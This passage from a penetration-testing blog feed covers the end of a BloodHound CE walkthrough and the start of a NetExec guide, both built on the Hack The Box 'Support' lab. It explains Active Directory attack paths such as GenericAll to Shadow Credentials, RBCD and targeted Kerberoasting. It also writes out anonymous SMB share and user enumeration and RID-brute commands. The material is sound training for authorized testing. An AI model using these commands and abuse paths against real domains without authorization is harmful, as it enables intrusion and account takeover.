</code></pre>
<p>That filter, <code>(objectClass=*)</code>, means give me everything. And it repeats that across every LDAP partition in turn:</p>
<p><code>DC=support,DC=htb</code> is the domain partition, where your users, groups, and computers live. <code>CN=Configuration</code> holds forest-wide config, and it's worth caring about because ADCS enrollment services live in there if you ever go the Certipy route. <code>CN=Schema</code> is the object definitions. <code>DomainDnsZones</code> and <code>ForestDnsZones</code> are the AD-integrated DNS partitions. RustHound walks all five, then parses the pile.</p>
<p>One line to actually stop and read:</p>
<pre><code class="language-plaintext">[INFO] MachineAccountQuota: 10
</code></pre>
<p><strong>MAQ is 10.</strong> That means any authenticated user, including our lowly <code>ldap</code> account, can create up to ten machine accounts. Park that in the back of your head. Being able to create machine accounts can become extremely useful when an RBCD path appears later, since it hands you a computer principal you actually control. The collector handed you that on a plate before you even opened BloodHound.</p>
<p>Then the parse summary, your sanity check that collection actually worked:</p>
<pre><code class="language-plaintext">21 users parsed!
61 groups parsed!
1 computers parsed!
1 ous parsed!
1 domains parsed!
2 gpos parsed!
73 containers parsed!
</code></pre>
<p>One computer, one domain. Support is a single DC, so that lines up. If those counts came back at zero, you'd know your bind failed or your creds are dead.</p>
<p>And the payload:</p>
<pre><code class="language-plaintext">.//20260812230708_support-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed! Happy Graphing!
</code></pre>
<p>Timestamped zip, done in about two seconds. That archive is the graph. Next we drag it into BloodHound CE and let it draw.</p>
<hr />
<h2>Step two: fire up the BloodHound UI</h2>
<p>The graph is zipped and waiting. Now we need somewhere to drop it. BloodHound CE runs as a local web app, so starting it is one command:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/855bfb89-3380-4a32-a44f-536bfe11829d.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">bloodhound-start
</code></pre>
<p>It'll ask for <code>sudo</code> because it has to spin up two things, not one. <strong>BloodHound is a front end. Neo4j is the brain.</strong> Neo4j is the graph database that actually stores your nodes and edges and answers the path queries. BloodHound is just the UI that draws pretty pictures from it. The start script boots both:</p>
<pre><code class="language-plaintext">Starting Neo4j.
Started neo4j (pid:3701). It is available at http://localhost:7474
</code></pre>
<p>That <code>7474</code> is Neo4j's own console. <strong>You don't need it.</strong> Ignore that port, it's the database talking to itself. Wait for the part you actually care about a few lines down:</p>
<pre><code class="language-plaintext">[*] Web UI: http://127.0.0.1:8080
</code></pre>
<p>There it is. <strong>BloodHound lives at port 8080 by default.</strong> Open a browser and go to <code>http://localhost:8080</code>. If it looks blank or half-loaded the first time, refresh once, the backend sometimes needs a second to finish waking up.</p>
<p>First login is the classic:</p>
<pre><code class="language-plaintext">user: admin
password: admin
</code></pre>
<p>That gets you straight in. Change the password once you're logged in, since a full map of the domain's attack paths isn't something you leave sitting behind <code>admin/admin</code>, but that's your call to make, not something the app nags you about. Then you're staring at an empty graph waiting to be fed.</p>
<p>Empty is expected. We haven't uploaded anything yet. <strong>That's step three.</strong></p>
<hr />
<h2>Step three: feed the graph</h2>
<p>Time to hand BloodHound the loot. Two things to square away before you upload, one cosmetic and one that will wreck your night if you skip it.</p>
<h3>Rename the zip first</h3>
<p>RustHound names its output like it's angry at you:</p>
<pre><code class="language-plaintext">.//20260812230708_support-htb_rusthound-ce.zip
</code></pre>
<p>That timestamp-prefixed mess is fine, BloodHound doesn't care what it's called, but future-you digging through a folder of five of these absolutely will. <strong>Rename it to something you'll recognize.</strong> <code>support-ce.zip</code>, <code>support-rusthound.zip</code>, whatever keeps your engagements straight. Thirty seconds now saves you squinting at timestamps later.</p>
<h3>Clear the last box before you import the next one</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1871b431-8cd9-4696-aaa3-c7c16bc2537a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2af0efea-d4b8-4354-9c00-11918ccc62ff.png" alt="" style="display:block;margin:0 auto" />

<p>Quick clarification first, because you'll read conflicting things. <strong>BloodHound is designed to merge uploads into its existing database.</strong> That's intended behavior, not a bug. Repeated collections of the same domain, and related domains in the same forest, are supposed to coexist and enrich each other. Merging is a feature.</p>
<p>So this next bit isn't a fix for something broken. It's <strong>lab hygiene for how we practice.</strong> In HTB and OSCP prep you're working one unrelated box at a time, and Support has nothing to do with the box you rooted yesterday. If yesterday's data is still sitting in the database when you import Support, nothing gets corrupted, but you're now staring at a graph full of nodes and paths that have zero bearing on the target in front of you. That's just noise, and noise is the enemy when you're learning to read these graphs.</p>
<p>So for one-box-at-a-time practice, I clear the previous lab before importing the next. Go to <strong>Administration</strong>, then <strong>Database Management</strong>, and use the clear-database function to wipe it. Empty database, clean slate, and the only thing on screen is the box you're actually attacking. On a real engagement with related domains you'd leave the merge behavior alone and let it work for you. In the lab, one box in, one box out.</p>
<h3>Upload it</h3>
<p>Now the actual import. Over on the left, hit <strong>Administration</strong>, and under <strong>Data Collection</strong> you'll find <strong>File Ingest</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fecdf21f-a128-439e-b5ae-0af54069f320.png" alt="" style="display:block;margin:0 auto" />

<p>That's your upload point. Drop the renamed zip in, and BloodHound ingests it, unpacking all that JSON into Neo4j and stitching the nodes and edges into a live graph. Give it a moment to chew, and the counts you saw back in the RustHound output (21 users, 61 groups, the lone computer) become clickable, queryable, walkable.</p>
<p>There's a <strong>Quick Upload</strong> button up in the main menu that does the same job in fewer clicks once you know your way around. File Ingest is the scenic route that shows you what's actually happening, which is where you want to be while it's still new.</p>
<h3>Confirming it landed</h3>
<p>Head back to the <strong>File Ingest</strong> tab and check the status line. When the import worked, you'll see it plainly:</p>
<pre><code class="language-plaintext">ID 130     Complete     7 Files     0 mins
</code></pre>
<p><strong>Complete is the word you're looking for.</strong> Green dot, "Complete," and a file count that makes sense. RustHound zipped up seven JSON files, and seven is what BloodHound reports swallowing. Numbers match, no errors, we're good. The duration reading <code>0 mins</code> isn't a bug, Support is a tiny single-DC domain, so ingestion is basically instant.</p>
<p>One thing worth knowing so it doesn't rattle you: <strong>sometimes ingest just faceplants for no reason.</strong> Status comes back failed, or canceled, no explanation, nothing wrong with your zip. It's a fluke.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/42ef6ec8-ada6-4db7-adfe-a78e9a25ccd2.png" alt="" style="display:block;margin:0 auto" />

<p>Don't start debugging, don't re-run the collector, just hit upload again with the same file. Works about nine times out of ten on the second try. If it fails twice in a row, then start actually looking at it, but a single flukey failure is nothing to chase.</p>
<p>Green and complete? The graph is loaded and live. <strong>Now we hunt.</strong></p>
<hr />
<h2>Step four: tell BloodHound what you own</h2>
<p>The graph is loaded, but right now BloodHound is showing you the whole domain with no idea where <em>you</em> stand in it. Before you go hunting for paths, you have to plant your flag. You have to tell the tool which accounts you already control.</p>
<p>Head to <strong>Explore</strong> on the left menu. Up top you've got a <strong>Search</strong> bar. Type in the account you've compromised, your foothold user, and BloodHound will start matching nodes as you type. Click the name when it surfaces and the user pops onto the graph as a single node.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b71f9bda-4da6-4a1a-bd10-f9513b73c80b.png" alt="" style="display:block;margin:0 auto" />

<p>Now click that node icon and its action menu appears (if a plain click just highlights it, right-click to bring the menu up). You'll see a stack of options: Set as starting node, Set as ending node, Add to Tier Zero, and the one we want, <strong>Add to Owned.</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a8e79a88-47d1-4f00-9103-a904ea47750e.png" alt="" style="display:block;margin:0 auto" />

<h3>What "owned" actually means</h3>
<p>"Owned" is BloodHound's word for <strong>an account you control.</strong> Foothold creds, a cracked hash, a password you found in a share, a LAPS password RustHound handed you back in the collection. Anything you can authenticate as, you own. Marking it here tags the node with a little skull and, more importantly, <strong>writes it into BloodHound's brain as a starting point you already possess.</strong></p>
<p>That second part is the whole point. <strong>This is the difference between a map and a route.</strong> An unmarked graph is just a map of the entire domain, thousands of possible connections, most of which have nothing to do with you. The second you mark a node as owned, BloodHound can answer a far better question: not "what paths exist in this domain," but "what paths exist <em>from where I'm actually standing.</em>"</p>
<p>That unlocks the query that makes the tool famous, <strong>Shortest Path from Owned Principals.</strong> It takes every account you've flagged and traces the fastest route from any of them to Domain Admin. But it can only do that if you've told it what you own first. Skip this step and that query has nothing to work from.</p>
<h3>Mark everything, not just the first one</h3>
<p>You do this for <strong>every</strong> account you get your hands on, not just the foothold. Owned is cumulative and it compounds. Crack one user, mark them. That reveals they can reset a second user's password, so you go grab that account and mark them too. Each new owned node reshuffles the graph and lights up paths that were invisible a step ago. <strong>A domain you can't crack from one account often falls wide open from three.</strong></p>
<p>So right now, mark your foothold. Then click the node and read its info panel to see exactly what this account can do: its group memberships, its sessions, and its outbound object control, meaning every other principal it has rights over. That panel is your <strong>full scope of capability from this one account</strong>, laid out in plain sight.</p>
<p>Flag planted. <strong>Now we ask BloodHound the only question that matters: how do I get to Domain Admin?</strong></p>
<hr />
<h2>Step five: read your outbound object control</h2>
<p>You're marked as owned. BloodHound knows where you stand. Now comes the part that turns a pile of creds into an actual attack plan: <strong>assessing your outbound object control.</strong></p>
<h3>What outbound object control is</h3>
<p>Strip away the jargon and it's a simple question: <strong>what can this account do to other things in the domain?</strong></p>
<p>Active Directory runs on permissions. Every object, every user, group, computer, and the domain itself, has an access list saying who's allowed to modify it and how. <strong>Outbound object control is the list of rights your account holds over everything else.</strong> It's the answer to "what damage can I do from here," written out for you in plain sight.</p>
<p>This is the goldmine. Group memberships tell you who you are. Sessions tell you where you've been. But outbound object control tells you <strong>what you can seize next</strong>, and that's the stuff that walks you toward Domain Admin.</p>
<p>You find it in the info panel on the right, the same one that opens when you click your user node from the Explore search. Scroll down and you'll see an <strong>Outbound Object Control</strong> section. That's your hit list.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b97ee950-afd0-4995-a355-d68ac9499351.png" alt="" style="display:block;margin:0 auto" />

<h3>How the rights show up on the graph</h3>
<p>When you expand that control onto the graph, BloodHound draws it as a labeled line running from your user to whatever object you have power over. The label on that line <strong>is the permission.</strong> GenericAll, WriteDACL, ForceChangePassword, AddKeyCredentialLink, and so on. The arrow points from you to the thing you control.</p>
<p>Here's where it gets good, and where Support shows it off perfectly. Control doesn't only flow straight from user to target. <strong>It flows through your group memberships too.</strong> Look at the path the graph draws:</p>
<pre><code class="language-plaintext">SUPPORT@SUPPORT.HTB  --MemberOf--&gt;  SHARED SUPPORT ACCOUNTS  --GenericAll--&gt;  DC.SUPPORT.HTB
</code></pre>
<p>Read that chain left to right. Our foothold user <code>support</code> is a <strong>member of</strong> the SHARED SUPPORT ACCOUNTS group. That group holds <strong>GenericAll</strong> over <code>DC.SUPPORT.HTB</code>, the domain controller itself. And because you inherit every right of every group you belong to, <strong>that GenericAll on the DC is yours.</strong> A nothing-special support account just turned out to hold total control over the crown jewel, purely by group membership. That is the entire reason we map this instead of guessing.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84464791-fa41-4fc9-ada9-a30320824907.png" alt="" style="display:block;margin:0 auto" />

<p>A full breakdown of what each of these permissions actually is and how you weaponize them is its own beast, and it's coming in a dedicated AD permissions post. For now, you don't need to memorize them. You need to know they're your leverage and where to read what they mean, which is the next bit.</p>
<h3>Click the permission to learn how to abuse it</h3>
<p>This is the feature that makes BloodHound genuinely beginner-friendly. <strong>Click the permission label on the line</strong> and the right-hand panel repopulates, this time about the edge itself, not the node.</p>
<p>Two sections matter. <strong>General</strong> gives you a plain explanation of what the permission is. <strong>Windows Abuse</strong> (and its Linux counterpart) tells you how to turn it into access, and names tools to do it with. Click the GenericAll on that DC edge and BloodHound spells it out: the right lets you write to the DC's <code>msDS-KeyCredentialLink</code> attribute, which lets you drop <strong>Shadow Credentials</strong> and authenticate as the machine via Kerberos PKINIT. It even flags the alternatives, that GenericAll on a computer also opens <strong>RBCD</strong> and an <strong>ADCS ESC14</strong> path. It hands you the attack, the technique name, and a link to the how-to.</p>
<p><strong>One thing to keep your head straight about:</strong> those suggested tools and techniques are <strong>BloodHound's examples, not the law.</strong> The panel shows you <em>a</em> way, usually the common one. It is not the only way. GenericAll here could go the Shadow Credentials route, or RBCD, or ESC14, and depending on the box, your tooling, and what's actually reachable, you might reach for something entirely different than what the panel names. <strong>BloodHound tells you the door is unlocked. It doesn't get to decide how you walk through it.</strong> Treat the suggestions as a starting point and a learning aid, not a script.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/58ebf845-7ded-48d7-bbc4-10b8894fa5d9.png" alt="" style="display:block;margin:0 auto" />

<p>So that's the read: mark owned, open the panel, study your outbound control, and click the edges to understand your leverage. You now know, concretely, that <code>support</code> can own the domain controller through a group it happens to sit in. <strong>Next we stop reading about it and go do it.</strong></p>
<hr />
<h2>Step six: pathfinding, or letting BloodHound do the walking</h2>
<p>In step five you read your outbound control by hand and traced where it led. That works, and you should know how to do it. But BloodHound has a mode that does the tracing for you, and once you've got a target in mind it's the fastest way to a plan: <strong>Pathfinding.</strong></p>
<h3>What pathfinding actually does</h3>
<p>Simple idea. You give BloodHound two points, a <strong>start</strong> and a <strong>destination</strong>, and it finds the shortest route between them through every edge in the graph. Instead of you clicking node to node asking "okay, what can this reach, and what can <em>that</em> reach," you just say <strong>"I am here, I want to be there, show me the way."</strong> BloodHound does the graph math and draws the line.</p>
<p>That's the whole pitch, and it's a big deal on a real domain. Reading outbound control by hand is fine on Support, where the graph is tiny. Drop that approach on an enterprise with forty thousand objects and you'll be there all night. Pathfinding scales. It collapses a sprawling mess of permissions into the one chain that matters.</p>
<h3>Running it</h3>
<p>Up top, click the <strong>Pathfinding</strong> tab, right next to Search. Two fields open up:</p>
<p>The <strong>top field is your start node.</strong> Put your owned user here, <code>SUPPORT@SUPPORT.HTB</code>.</p>
<p>The <strong>bottom field is your destination.</strong> This is the thing you're trying to reach.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a94ca4de-5e13-4856-8e9d-666f05456a24.png" alt="" style="display:block;margin:0 auto" />

<p>There's a little swap button between them if you ever want to flip direction, and a filter if you want to constrain which edge types it's allowed to use. For now, leave those alone.</p>
<h3>The classic: path to Domain Admins</h3>
<p>Nine times out of ten, the first destination I punch in is <strong>Domain Admins.</strong> It's the "can I win this domain, and if so how" query, and it's the single most useful thing pathfinding does. Start typing <code>domai</code> and BloodHound floods you with matches, Domain Admins, Domain Controllers, Domain Users, the domain object itself. Pick <strong>DOMAIN <a href="mailto:ADMINS@SUPPORT.HTB">ADMINS@SUPPORT.HTB</a></strong> and let it draw.</p>
<p>Here's what it hands back on Support:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c544b1dd-3b89-4e94-aa30-5b0a3eb787f8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">SUPPORT  --MemberOf--&gt;  SHARED SUPPORT ACCOUNTS  --GenericAll--&gt;  DC.SUPPORT.HTB  --DCFor--&gt;  SUPPORT.HTB  --Contains--&gt;  USERS  --Contains--&gt;  DOMAIN ADMINS
</code></pre>
<p>Six hops looks scary the first time. It isn't. <strong>Learn to read these paths and you'll see most of it is scenery.</strong></p>
<p>Here's the trick that trips up every beginner: <strong>not every edge in a path is an action you take.</strong> Walk it left to right. The <code>MemberOf</code> is just a fact, you're in that group. Then comes the one that counts, the <strong>GenericAll on DC.SUPPORT.HTB.</strong> That's your attack. That's the same edge from step five, the one that lets you drop Shadow Credentials on the domain controller. Everything after it, the <code>DCFor</code>, the two <code>Contains</code> edges, is <strong>structural filler.</strong> BloodHound is just connecting the dots to prove that owning the DC computer means owning the domain, because Domain Admins literally lives inside that domain.</p>
<p>So a six-hop path resolves to <strong>exactly one thing you actually do:</strong> abuse that GenericAll on the DC. The rest is BloodHound showing its work. <strong>Read every path this way.</strong> Find the real attack edges, the ACLs and the abuses, and mentally skip the membership and containment edges that are just topology. A path with five hops and one attack edge is one move, not five.</p>
<h3>Other destinations worth trying</h3>
<p>Domain Admins is the headliner, but the destination field takes anything:</p>
<p>The <strong>domain object</strong> (<code>SUPPORT.HTB</code>) or <strong>Domain Controllers</strong>, when you care about domain-wide compromise more than a specific group. <strong>Enterprise Admins</strong>, once you're in a multi-domain forest and want the whole thing, not just one domain. <strong>A specific box or user</strong>, when you're not going for the crown yet, you just need to reach one particular machine for lateral movement or one account whose access you want. <strong>Tier Zero / high-value targets</strong>, to see every sensitive object you can touch at once.</p>
<p>Point is, pathfinding isn't only a "how do I become god" button. It's a "how do I get from A to any B" button, and B is whatever your current objective happens to be.</p>
<p>Quick teaser while we're here: <strong>keep an eye out for my bloodyAD deep dive, coming soon.</strong> When it's time to stop looking at these edges and start <em>pulling</em> them, bloodyAD is hands down the best tool going for interacting with AD permissions and objects, and it deserves its own writeup rather than a footnote in this one.</p>
<p>So that's pathfinding. Point it at Domain Admins, read the path, strip it down to the real attack edges, and you've got your route. <strong>But pathfinding only answers questions shaped like "from here to there."</strong> Sometimes the question you actually want to ask is weirder and more specific than that. For that, we drop down to the raw query language underneath the whole tool.</p>
<hr />
<h2>The last stop: Cypher</h2>
<p>Everything so far has been point-and-click. Search, mark owned, run pathfinding. Those cover most of what you'll ever need. But under the whole tool sits a query language, and when the question you want to ask doesn't have a button, this is where you go.</p>
<p>Cypher is the graph query language BloodHound runs on. Think of it as SQL's cousin, except instead of querying rows and tables it queries <strong>nodes and the edges between them</strong>, which is exactly the shape of an Active Directory attack. Written from scratch it's a whole skill of its own. The good news: <strong>you don't have to write any of it to get enormous value</strong>, because BloodHound ships with a library of pre-built queries someone already wrote for you.</p>
<p>Click the <strong>Cypher</strong> tab in the Explore toolbar, then expand <strong>Saved Queries.</strong> You'll get a categorized, searchable list, Domain Information, Dangerous Privileges, and more. There are dozens. Most you'll never touch. <strong>These three earn their keep on nearly every engagement:</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/404f5c90-89ff-4210-8c23-1e25c46cea6a.png" alt="" style="display:block;margin:0 auto" />

<h3>Shortest Paths from Owned Objects</h3>
<p><strong>This is the query step four was setting up.</strong> Remember all that flagging accounts as owned? This is the cash-out. It takes every node you marked as owned and computes the fastest attack paths from <em>your actual position</em> to the high-value targets in the domain.</p>
<p>That "from where I actually stand" framing is what makes it gold. It ignores the thousands of paths that have nothing to do with you and shows only the ones you can start walking <strong>right now, with the creds already in your pocket.</strong> On a big domain this is frequently the single most useful thing BloodHound does. One click and it filters an ocean of permissions down to your personal to-do list. Own more accounts, re-run it, watch new paths appear.</p>
<h3>Shortest Paths to Domain Admins</h3>
<p>The mirror image. Pathfinding made you pick a start node. This one doesn't care where you are. It surfaces <strong>every short road into Domain Admins from anywhere in the domain</strong>, owned or not.</p>
<p>Why bother if you can't walk them yet? Because it tells you <strong>what to target next.</strong> If some unremarkable user two desks over sits one hop from Domain Admins, that user just became your objective. This query spots the weak links in the domain's armor so you know which account is worth the effort to grab. It's reconnaissance for your reconnaissance.</p>
<h3>All Kerberoastable Users</h3>
<p>Different flavor entirely, and a beautiful opener on almost any domain. This lists <strong>every account with an SPN set</strong>, which is every account you can Kerberoast.</p>
<p>Quick why-you-care: any authenticated user can request a service ticket for an SPN-enabled account, and that ticket comes back encrypted with the account's password hash. Pull it, crack it offline, and you've got the plaintext. <strong>No special rights, barely any noise, and service accounts are notorious for ancient weak passwords</strong>, sometimes on accounts with real privilege. This query hands you the full hit list of who's roastable in one shot. It won't always be your path on Support, but on a huge share of boxes and real domains it's the first thing worth trying.</p>
<h3>The permissions that make these pop</h3>
<p>The paths these queries draw are strung together by the same object-control edges from step five, and a couple show up constantly:</p>
<p><strong>ForceChangePassword</strong> is the cleanest takeover there is. It lets you reset a target user's password without knowing the current one. See this edge pointing at someone useful and that account is effectively yours.</p>
<p><strong>GenericWrite / GenericAll</strong> is broad write control, and it opens doors, shadow credentials, RBCD, and my favorite pairing with the query above: <strong>targeted Kerberoasting.</strong> If you hold GenericWrite over an account, you can slap an SPN onto it yourself, roast it, and crack it, turning a non-roastable account into a roastable one on demand.</p>
<p>And exactly like pathfinding, <strong>everything in a Cypher result is clickable.</strong> The paths it returns show you the exploit route, the permission that unlocks each hop, and the user or group you need to abuse it, and you can click any node or any edge to pull up that same info panel, General and Windows Abuse, and read exactly what it is and how to use it. Same inspection loop, more targeted questions.</p>
<hr />
<h2>That's the toolkit chapter</h2>
<p>That's the whole loop end to end. <strong>Collect</strong> with RustHound, <strong>start</strong> the UI, <strong>import</strong> clean, <strong>mark</strong> what you own, <strong>read</strong> your outbound control, <strong>pathfind</strong> to the crown, and <strong>query</strong> for the rest. From one low-priv <code>ldap</code> account to owning <code>support.htb</code>, mapped the entire way.</p>
<p>Now the honest part. <strong>This is not a comprehensive BloodHound guide, and it was never trying to be.</strong> This is an Inferno-style writeup: maximum return, minimum time, get you dangerous fast and get out of your way. There is a lot more here, custom Cypher, edge filtering, ADCS graphing, cross-forest paths, that I deliberately left on the floor so this stayed useful instead of exhaustive. If you walked away knowing how to go from a foothold to a mapped path to Domain Admins, it did its job.</p>
<p>A couple of these threads get their own posts. <strong>The AD permissions deep dive</strong> breaks down what each of these edges actually is and how you weaponize them one by one. <strong>The bloodyAD deep dive</strong> covers the best tool going for reaching out and <em>pulling</em> these edges once you've found them. Both coming soon, both linked here when they land. And if you haven't read <strong>the NetExec deep dive</strong>, and want to learn more just check out the toolkit hub below for all the links to the entire series.</p>
<p><strong>Find. Fix. Fortify.</strong></p>
<blockquote>
<p>Toolkit hub for more tool posts <a href="https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me">https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[The OSCP Toolkit: NetExec]]></title><description><![CDATA[The Active Directory Swiss Army Knife
If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up.
NXC is one of the tools I]]></description><link>https://www.hack2harden.com/the-oscp-toolkit-netexec</link><guid isPermaLink="true">https://www.hack2harden.com/the-oscp-toolkit-netexec</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Wed, 12 Aug 2026 08:06:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e45a4d36-4e05-4d27-9fbb-023d0e607f8b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>The Active Directory Swiss Army Knife</h2>
<p>If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up.</p>
<p>NXC is one of the tools I reach for most on an AD box, because it handles so many different jobs without forcing me to switch workflows every five minutes. The easiest way to understand it is by protocol:</p>
<pre><code class="language-plaintext">nxc smb ...
nxc ldap ...
nxc mssql ...
</code></pre>
<p><strong>Same tool. Different protocol. Different job.</strong></p>
<p>NetExec supports far more than these three, but these are the modules I actually live in:</p>
<ul>
<li><p><strong>SMB</strong> for anonymous access checks, users, shares, credential validation, password policy, and hunting through files.</p>
</li>
<li><p><strong>LDAP</strong> for checking anonymous access and collecting the domain for BloodHound.</p>
</li>
<li><p><strong>MSSQL</strong> for validating SQL credentials and turning SQL access into command execution.</p>
</li>
</ul>
<p>Those three alone cover a ridiculous amount of ground.</p>
<hr />
<h2>Part 1: The Mental Model</h2>
<p>The thing that made NetExec click for me was killing this thought:</p>
<blockquote>
<p>NetExec is an SMB enumeration tool.</p>
</blockquote>
<p>It is much closer to this:</p>
<blockquote>
<p><strong>NetExec is a protocol-aware command center.</strong></p>
</blockquote>
<p>You tell it what protocol you are working with, hand it a target and whatever credentials you currently have, and ask what that access actually buys you.</p>
<p>That matters because AD testing is a <em>progression</em>. You usually start with nothing, then pick up valid usernames, then a username and password, then confirm that credential works over SMB, then find a readable share, then pull another credential out of a script, then use LDAP to collect the domain, then discover MSSQL, then realize that SQL account can run OS commands.</p>
<p>NetExec stays with you through almost that entire chain. That is why I call it my AD Swiss Army knife.</p>
<hr />
<h2>Part 2: SMB</h2>
<h3>The Module I Use the Most</h3>
<p>If you learn one NetExec module first, make it SMB. It shows up constantly in Windows and AD environments, and NXC lets you do far more with it than checking whether a password works. With the SMB module you can check anonymous access, enumerate shares and domain users, export user lists, read the password policy, validate credentials, and spider readable shares while auto-downloading files.</p>
<p>Here is how I work a fresh SMB target.</p>
<h3>First, Read the Banner: FQDN, DN, and /etc/hosts</h3>
<p>Before any of the enumeration, every <code>nxc smb</code> command prints a banner, and it quietly hands you two things worth grabbing on the very first run: the DC hostname and the domain.</p>
<pre><code class="language-plaintext">SMB  10.129.42.211  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True)
</code></pre>
<p><code>(name:DC)</code> and <code>(domain:support.htb)</code> combine into the fully qualified domain name: <code>DC.support.htb</code>. That same domain also gives you the base Distinguished Name that LDAP and BloodHound work in: <code>support.htb</code> maps to <code>DC=support,DC=htb</code>, and LDAP enumeration will confirm it. This banner is genuinely the fastest way to leak both of those in one shot.</p>
<p>Grab them and drop them into <code>/etc/hosts</code> pointing at the target, before you do anything else:</p>
<pre><code class="language-plaintext">10.129.42.211  support.htb DC.support.htb DC
</code></pre>
<p>Why this matters so much: your Kali box has no idea how to resolve the internal AD domain, so <code>support.htb</code> and <code>DC.support.htb</code> mean nothing to it until you tell it. More importantly, <strong>Kerberos is built on hostnames and SPNs, not IP addresses.</strong> The second you touch anything Kerberos based (requesting a TGT, using a ticket, <code>evil-winrm -k</code>, Certipy, AD CS attacks, targeted roasting) the tooling expects the FQDN. Point it at a raw IP and Kerberos either errors out or silently falls back to NTLM, which is exactly the kind of failure that eats an hour before you realize DNS was the problem.</p>
<p>Fix <code>/etc/hosts</code> once, early, from the first banner NXC prints, and you save yourself that whole class of confusing failures later.</p>
<h3>Always Check Anonymous Access First</h3>
<p>Before I try a single username or password, I want to know what the server gives away for free.</p>
<p>Start with a true null session:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/497f86b2-7961-479d-9224-eb83ffe26f79.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nxc smb TARGET -u '' -p '' --shares
</code></pre>
<p>Then try the Guest account with a blank password:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u 'guest' -p '' --shares
</code></pre>
<p>I check both because they are not the same thing. The null session asks <em>"will SMB let me interact with no username or password at all?"</em> The Guest attempt asks <em>"will the built-in Guest account get me in without a password?"</em> One can fail while the other works, so a single failed check is <strong>not</strong> the end of SMB enumeration.</p>
<p>What I care about is whether anything readable comes back:</p>
<pre><code class="language-plaintext">Share           Permissions
-----           -----------
IPC$
NETLOGON
SYSVOL
Development     READ
Backups         READ
</code></pre>
<p><code>Development</code> and <code>Backups</code> immediately have my attention. That is potentially free access to files before I have cracked, sprayed, or stolen a single credential. <strong>Never assume SMB needs credentials until you actually ask it.</strong></p>
<h3>--shares Failed? Still Check --users</h3>
<p>This is the SMB check people miss most. Say share enumeration gets denied:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u '' -p '' --shares
</code></pre>
<p>It is tempting to call anonymous SMB dead and move on. Not yet. Still try:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users
</code></pre>
<p>Listing file shares and enumerating domain users are <strong>different operations</strong>. NXC's <code>--users</code> can talk to the Windows SAMR RPC interface over the <code>\samr</code> pipe to pull account info, which is the same idea as enumerating users manually with <code>rpcclient</code>:</p>
<pre><code class="language-plaintext">rpcclient -U '' -N TARGET
</code></pre>
<p>NXC just gives you the fast one-line version. The lesson: <strong>no anonymous share access does not mean no anonymous RPC enumeration.</strong> If RPC permissions are loose, <code>--shares</code> can give you nothing while <code>--users</code> hands you a list of real domain accounts.</p>
<p>And valid usernames are gold. They feed password spraying, AS-REP roasting, Kerberos testing, credential reuse, and service account hunting. It takes a few seconds. Make the check.</p>
<h3>--users Empty? Try --rid-brute</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b3b69068-c8ad-4d81-b4a0-35e1ebaf6621.png" alt="" style="display:block;margin:0 auto" />

<p>Here is the fallback that matters: <strong>when</strong> <code>--users</code> <strong>comes back empty, RID brute forcing can still uncover accounts that</strong> <code>--users</code> <strong>missed.</strong> They are two different techniques, so try both during anonymous user enumeration.</p>
<p><code>--users</code> asks SAMR nicely for the account list. <code>--rid-brute</code> takes a different route: it walks account RIDs one by one (500, 501, 502, and up) and resolves each SID to a name through LSA lookups. If you have used Impacket's <code>lookupsid.py</code>, this is the same idea. That means SAMR enumeration can be restricted and returning nothing while RID brute forcing still resolves real accounts.</p>
<pre><code class="language-plaintext">nxc smb TARGET -u 'guest' -p '' --rid-brute
</code></pre>
<p>On HTB's Support box, <code>guest</code> with a blank password authenticated, and RID brute forcing walked the entire domain:</p>
<pre><code class="language-plaintext">SMB  10.129.42.211  445  DC  [+] support.htb\guest:
SMB  10.129.42.211  445  DC  500: SUPPORT\Administrator (SidTypeUser)
SMB  10.129.42.211  445  DC  501: SUPPORT\Guest (SidTypeUser)
SMB  10.129.42.211  445  DC  502: SUPPORT\krbtgt (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1104: SUPPORT\ldap (SidTypeUser)
SMB  10.129.42.211  445  DC  1105: SUPPORT\support (SidTypeUser)
SMB  10.129.42.211  445  DC  1106: SUPPORT\smith.rosario (SidTypeUser)
SMB  10.129.42.211  445  DC  1107: SUPPORT\hernandez.stanley (SidTypeUser)
